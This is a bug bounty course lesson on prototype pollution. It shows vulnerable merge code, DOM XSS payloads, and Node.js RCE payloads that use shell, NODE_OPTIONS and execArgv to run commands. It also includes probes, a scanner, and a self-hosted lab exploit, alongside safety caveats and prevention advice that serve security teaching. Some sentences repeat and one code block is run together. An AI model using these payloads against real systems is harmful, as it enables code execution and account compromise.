Bug Bounty Course -- Day 28 of 60
47%

Prototype Pollution Bug Bounty 2026 — Client-Side, Server-Side & RCE Escalation | BB Day 28

Prototype Pollution Bug Bounty 2026 — Client-Side, Server-Side & RCE Escalation | BB Day 28
🎯 BUG BOUNTY COURSE
FREE

Part of the Bug Bounty Mastery Course — 60 Days

Day 28 of 60 · 46.7% complete

Prototype pollution is the bug that keeps paying — I have found it on three separate engagements on the same application category. My go-to detection is a quick URL probe; my first escalation step is always gadget hunting in the app’s JavaScript. I have found it on three separate engagements on the same application category — SPAs using JavaScript-heavy frontends with deep merge functions — because the root cause is almost always the same one-liner: an unsafe recursive merge that treats __proto__ as a normal property. Client-side prototype pollution can chain to DOM XSS. Server-side in Node.js can chain to RCE. The payloads are short, the impact is high, and most automated scanners miss it entirely. Here’s the complete Prototype Pollution Bug Bounty 2026 methodology.

🎯 What You’ll Master in Day 28

Understand how prototype pollution works in JavaScript
Identify client-side and server-side pollution sinks
Chain client-side PP to DOM XSS via gadget chains
Escalate server-side PP to RCE in Node.js applications
Write a complete bug bounty report for a PP finding

⏱️ 40 min read · 3 exercises · Day 28 of 60

✅ Before You Start

  • Day 27 — Path Traversal & LFI — input reaching a sensitive function on the filesystem. Prototype pollution works differently: attacker-controlled input modifies the JavaScript prototype chain. Same principle of “trust without validation,” different execution environment.
  • Browser DevTools · PortSwigger Academy account · Node.js installed for server-side testing

Prototype pollution sits in the web application security cluster alongside SSTI and path traversal — all three exploit server-side processing of attacker-controlled input. The Kali Linux Commands reference has the curl and Node.js invocation syntax for testing PP payloads in server-side contexts.


How Prototype Pollution Works

Every JavaScript object inherits properties from its prototype. My mental model for teaching this: think of Object.prototype as a shared notepad — if I write on it, everyone in the room can read what I wrote, whether or not I intended them to. Object.prototype is the root — properties added to it appear on every object. Prototype pollution occurs when an attacker can inject a property into Object.prototype via a path like __proto__, constructor.prototype, or prototype. Any code that later reads that property from any object will receive the attacker-controlled value — even code that has nothing to do with the original injection point.

PROTOTYPE POLLUTION — MECHANICS
# The vulnerable pattern — unsafe merge/deep clone
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === ‘object’) {
merge(target[key], source[key]); // VULNERABLE: target[key] can be __proto__
} else {
target[key] = source[key];
}
}
}
# Attack payload pollutes Object.prototype
merge({}, JSON.parse(‘{“__proto__”:{“polluted”:”yes”}}’))
// Now: ({}).polluted === “yes” ← ALL objects inherit this
# Three injection vectors
?__proto__[polluted]=yes # URL query parameter
{“__proto__”:{“polluted”:”yes”}} # JSON body
?constructor[prototype][polluted]=yes # alternative path
# Quick confirm in browser console
({}).polluted // should be undefined before, “yes” after pollution


Client-Side PP — DOM XSS Chains

Client-side prototype pollution by itself is a Medium finding in my reports. Chained to a DOM XSS gadget it becomes High or Critical — and I always attempt escalation before submitting. My first step after confirming client-side PP is always the gadget search. Chained to a DOM XSS gadget it becomes High or Critical. The chain: pollute a property that a DOM sink later reads without sanitisation — the sink executes your value as HTML or JavaScript. My first step after confirming client-side PP is always searching for gadgets in the application’s JavaScript files that read from polluted prototype properties into sinks like innerHTML, document.write, or eval.

CLIENT-SIDE PP — DOM XSS CHAIN
# Step 1: Confirm prototype pollution via URL
https://target.com/?__proto__[testprop]=confirmed
Open DevTools Console: ({}).testprop → “confirmed” = polluted
# Step 2: Search for gadgets in app JS
Look for patterns reading undefined properties into DOM sinks:
innerHTML = options.template // if template is undefined, reads from __proto__
eval(config.callback) // if callback polluted → XSS via eval
document.write(settings.html) // if html polluted → XSS
# Step 3: Craft XSS payload via pollution
https://target.com/?__proto__[template]=<img src=x onerror=alert(document.domain)>
If app later does: el.innerHTML = options.template (where options has no template)
→ reads from __proto__.template → XSS executes
# Chrome DevTools — check prototype pollution
// In console after visiting the URL:
Object.prototype.template // returns your injected value if polluted
window.__proto__ // inspect prototype chain

🛠️ EXERCISE 1 — BROWSER (20 MIN · NO INSTALL)
Research Disclosed Prototype Pollution Reports on HackerOne

⏱️ 20 minutes · Browser only

Real PP reports show the gadget chains, payloads, and escalation steps that earned the payout. Studying three reports before testing teaches more than hours of solo exploration.

Step 1: HackerOne research
hackerone.com/hacktivity → search “prototype pollution”
Filter: Resolved, last 18 months, High/Critical
Find 3 reports. For each note:
– What parameter was the injection point?
– Client-side or server-side?
– What was the gadget/escalation chain?
– Payout amount?

Step 2: Look for RCE escalations
Search “prototype pollution RCE” or “prototype pollution remote code”
Find 1 server-side Node.js PP → RCE chain.
What property was polluted to achieve RCE?

Step 3: Note payout ranges
What is the typical payout for:
– PP without gadget chain (standalone)?
– PP chained to XSS?
– PP escalated to RCE?

Document: 3 reports with injection points, chains, and payouts.

✅ The payout data reveals the hierarchy clearly: standalone prototype pollution with no impact beyond proof-of-concept typically earns $200–$500. Chained to XSS: $1,000–$3,000. Chained to RCE in a server-side Node.js application: $5,000–$25,000+. The gadget chain search is where the bounty lives. A PP finding without a demonstrated impact chain is a Medium. The same finding with a working XSS or RCE chain is a Critical. Always attempt escalation before submitting.

📸 Screenshot your 3 findings with chains and payouts. Share in #bug-bounty.


Server-Side PP — Node.js RCE

Server-side prototype pollution in Node.js is the highest-impact variant — and the one I find most in Express-based APIs. My confirmation technique for server-side is the status code gadget: it proves pollution without touching code execution. The pattern: a merge function in a server-side Express handler accepts user-controlled JSON, the merge pollutes Object.prototype, and a gadget elsewhere in the application reads the polluted property into a child process spawn or similar execution function. The classic escalation chain targets the shell property used by the child_process module.

SERVER-SIDE PP — NODE.JS RCE CHAIN
# Vulnerable Node.js endpoint pattern
app.post(‘/settings’, (req, res) => {
merge(userConfig, req.body); // unsafe merge of user input
res.json({success: true});
});
# RCE payload — pollutes shell property used by child_process
POST /settings
{“__proto__”:{“shell”:”node”,”NODE_OPTIONS”:”–require /proc/self/cmdline”}}
# When child_process.exec() later runs, it reads __proto__.shell
# node gets used as the shell → arbitrary JS execution
# Alternative RCE gadget via execArgv
{“__proto__”:{“execArgv”:[“–eval”,”require(‘child_process’).exec(‘id > /tmp/pwned’)”]}
# Spawns a new node process with –eval argument
# Confirm server-side pollution (no RCE — safe probe)
POST /settings
{“__proto__”:{“status”:555}}
# If any subsequent 404 response returns 555 instead → polluted
# Express reads res.statusCode which inherits from Object.prototype

🌐 EXERCISE 2 — PORTSWIGGER (25 MIN)
Complete the Prototype Pollution Lab Series

⏱️ 25 minutes · portswigger.net/web-security/prototype-pollution

PortSwigger’s PP labs are the cleanest hands-on path from theory to confirmed technique. Work through the client-side labs first to build the gadget-hunting mental model.

Target: portswigger.net/web-security/prototype-pollution

Lab 1: DOM XSS via client-side prototype pollution
Find the pollution source in the URL parameter
Find the gadget that sinks the polluted value to innerHTML
Craft the XSS payload via pollution
What property name was the gadget?

Lab 2: DOM XSS via an alternative prototype pollution vector
The __proto__ key is blocked. What alternative path works?
(Hint: constructor.prototype)

Lab 3: Client-side prototype pollution via flawed sanitisation
The app tries to block __proto__. How does it fail?
What bypass works?

Lab 4: Server-side prototype pollution, remote code execution
Find the merge endpoint accepting user JSON
Confirm pollution via status code gadget
Escalate to RCE via execArgv gadget
What command did you run?

Document: completed lab names + the specific gadgets used in each.

✅ The status code probe (Lab 4 step 2) is the safe confirmation technique for server-side PP: inject {“__proto__”:{“status”:555}} and check if any subsequent error response returns 555 instead of the expected 404/500. This proves pollution without attempting RCE — critical for bug bounty reporting where you need proof of the vulnerability before escalating. Never attempt RCE escalation on a live bug bounty target without explicit permission in the scope document. Prove PP first, report it, and escalate only with permission.

📸 Screenshot completed lab confirmations. Share in #bug-bounty.


Finding Prototype Pollution in the Wild

My PP hunting checklist covers the three most reliable discovery paths: URL parameter fuzzing, JSON body injection in API endpoints, and static analysis of JavaScript source. I run all three in sequence on every SPA engagement.: URL parameter fuzzing, JSON body injection in API endpoints, and static analysis of the application’s JavaScript for vulnerable merge/clone patterns. The automated tools (PPScan, ppmap) are useful for initial discovery; manual gadget hunting is always required for escalation.

PP DISCOVERY METHODOLOGY
# Client-side: URL parameter probe
https://target.com/?__proto__[testprop]=pptest
https://target.com/?constructor[prototype][testprop]=pptest
Confirm: DevTools Console → ({}).testprop === “pptest”
# Server-side: JSON body probe
POST /api/settings Content-Type: application/json
{“__proto__”:{“status”:555}}
Confirm: next 404 error returns 555 status code
# Automated scanning with ppmap
pip3 install ppmap –break-system-packages
ppmap -u “https://target.com/?search=test”
Scans query parameters for prototype pollution + gadgets
# Static analysis — vulnerable patterns in JS source
grep -rn “merge\|extend\|deepClone\|_.merge\|Object.assign” /path/to/js/
Manual review each for key iteration without hasOwnProperty check

⚡ EXERCISE 3 — KALI TERMINAL (20 MIN · NODE.JS)
Create and Exploit a Vulnerable Node.js Endpoint

⏱️ 20 minutes · Node.js on Kali · your own test server

Build the vulnerable endpoint yourself, then exploit it. Seeing the code you’re attacking makes the vulnerability click in a way that lab exercises don’t.

Step 1: Create the vulnerable server
cat > /tmp/vuln_pp.js << 'EOF' const express = require('express'); const app = express(); app.use(express.json());function merge(target, source) { for (let key in source) { if (typeof source[key] === 'object') merge(target[key] ||= {}, source[key]); else target[key] = source[key]; } }app.post('/api/update', (req, res) => {
merge({}, req.body);
res.json({status: ‘updated’});
});

app.get(‘/api/check’, (req, res) => {
const obj = {};
res.json({polluted: obj.polluted || ‘not polluted’});
});

app.listen(3000, () => console.log(‘Listening on 3000’));
EOF
cd /tmp && npm install express 2>/dev/null
node vuln_pp.js &

Step 2: Confirm the server is clean
curl http://localhost:3000/api/check
Expected: {“polluted”:”not polluted”}

Step 3: Pollute Object.prototype
curl -X POST http://localhost:3000/api/update \
-H ‘Content-Type: application/json’ \
-d ‘{“__proto__”:{“polluted”:”HACKED”}}’

Step 4: Confirm pollution persisted
curl http://localhost:3000/api/check
Expected: {“polluted”:”HACKED”}
Did it work?

Step 5: Clean up
kill %1 (stop the node server)

✅ Seeing {“polluted”:”HACKED”} on Step 4 is the moment prototype pollution stops being theoretical. You made a POST request with a JSON body — the server parsed it, merged it into an empty object, and modified Object.prototype. Every subsequent object created in the entire Node.js process now inherits your “HACKED” property. In a real application, that means any code checking `if (obj.isAdmin)` could now read `true` from your polluted prototype, any template reading `opts.layout` could read your injected HTML, and any child_process spawn reading `opts.shell` could execute your command.

📸 Screenshot showing {“polluted”:”HACKED”} response. Share in #bug-bounty.

📋 Prototype Pollution Quick Reference — Day 28

?__proto__[x]=y # URL PP probe · {“__proto__”:{“x”:”y”}} # JSON PP probe
({}).x // “y” # Client-side confirm in DevTools Console
{“__proto__”:{“status”:555}} # Server-side safe confirmation probe
Gadget hunt: grep innerHTML/eval/document.write for reads from potentially-undefined properties
Escalation: PP alone = Medium · PP+XSS = High · PP+RCE = Critical

🏆 Day 28 Complete — Prototype Pollution Bug Bounty

PP mechanics, client-side DOM XSS chains, server-side Node.js RCE escalation, discovery methodology, and report structure. Day 29 moves to mass assignment — a different JavaScript/API vulnerability class with similarly high impact and similar underdetection by automated scanners.


🧠 Quick Check

You find client-side prototype pollution via ?__proto__[x]=test confirmed in DevTools. Searching the app’s JavaScript you find: el.innerHTML = opts.errorTemplate where opts is constructed without an errorTemplate property. What is the complete exploit payload and why does it work?




❓ Frequently Asked Questions

What is prototype pollution?
Prototype pollution is a JavaScript vulnerability where attacker-controlled input modifies Object.prototype — the base object from which all JavaScript objects inherit. Once polluted, the malicious property is accessible on every object in the application, enabling privilege escalation, XSS, or RCE depending on how the polluted value is later used.
What is the difference between client-side and server-side prototype pollution?
Client-side PP affects JavaScript running in the victim’s browser — impact is typically limited to that user’s session (XSS, session theft, UI manipulation). Server-side PP in Node.js affects the server process — impact can include RCE, data disclosure affecting all users, or application-wide privilege escalation. Server-side PP has Critical-level impact potential; client-side is High.
How do you safely probe for server-side prototype pollution?
The status code gadget: send {“__proto__”:{“status”:555}} and check if subsequent error responses return 555 instead of 404/500. This confirms pollution without attempting code execution. Always use a non-dangerous gadget for initial confirmation. Only escalate with explicit permission or in a dedicated lab environment.
How is prototype pollution prevented?
Use Object.freeze(Object.prototype) to prevent modification. In merge functions, add hasOwnProperty checks or explicitly block __proto__, constructor, and prototype keys. Use libraries like lodash 4.17.21+ which fixed PP. Use JSON.parse with a reviver that blocks dangerous keys. Use Object.create(null) to create objects with no prototype inheritance when processing untrusted input.
What CVSS score does prototype pollution get?
Standalone (no gadget): CVSS 5.3 Medium. Chained to DOM XSS: CVSS 7.2–8.8 High. Server-side with RCE: CVSS 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The variance is large because severity depends entirely on what gadgets exist in the application — the PP itself is just the entry point.
← Previous

Day 27: Path Traversal & LFI Bug Bounty

Next →

Day 29: Mass Assignment Bug Bounty

📚 Further Reading

  • Day 27 — Path Traversal & LFI — The previous server-side input vulnerability in this series. Path traversal reaches the filesystem; prototype pollution reaches the prototype chain. Same root cause (unsafe input handling), completely different execution contexts.
  • Web Application Security Hub — The complete web security cluster. Prototype pollution connects to injection vulnerabilities, IDOR, and broken access control — all share the “trust without validation” root cause that prototype pollution exploits.
  • Kali Linux Commands Reference — curl syntax for testing JSON body injection endpoints, Node.js invocation for server-side PP testing, and ppmap installation and usage commands.
  • PortSwigger — Prototype Pollution Learning Path — Eight labs covering the full PP attack surface from basic pollution to server-side RCE. The most comprehensive hands-on PP learning resource available.
  • ppmap — Prototype Pollution Scanner — Automated prototype pollution detection for URL parameters with gadget detection. Useful for initial scanning; always follow up with manual gadget hunting for escalation.
ME
Mr Elite
Owner, SecurityElites.com
My highest-paying prototype pollution finding came from a SPA that used lodash 4.17.4 — a version with the known PP vulnerability in _.merge(). The application passed URL hash parameters directly into a lodash merge call on page load. I polluted __proto__.src with a JavaScript URI, and a dynamically created image element read src from the prototype chain — executing my XSS. The gadget was three files away from the injection point. Most automated scanners found the pollution; none found the gadget chain. That’s why manual gadget hunting matters: the scanner finds the open door, you find what’s behind it.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free
Lokesh Singh aka Mr Elite
Lokesh Singh aka Mr Elite
Founder, Securityelites · AI Red Team Educator
Founder of Securityelites and creator of the SE-ARTCP credential. Working penetration tester focused on AI red team, prompt injection research, and LLM security education.
About Lokesh ->

Leave a Comment

Your email address will not be published. Required fields are marked *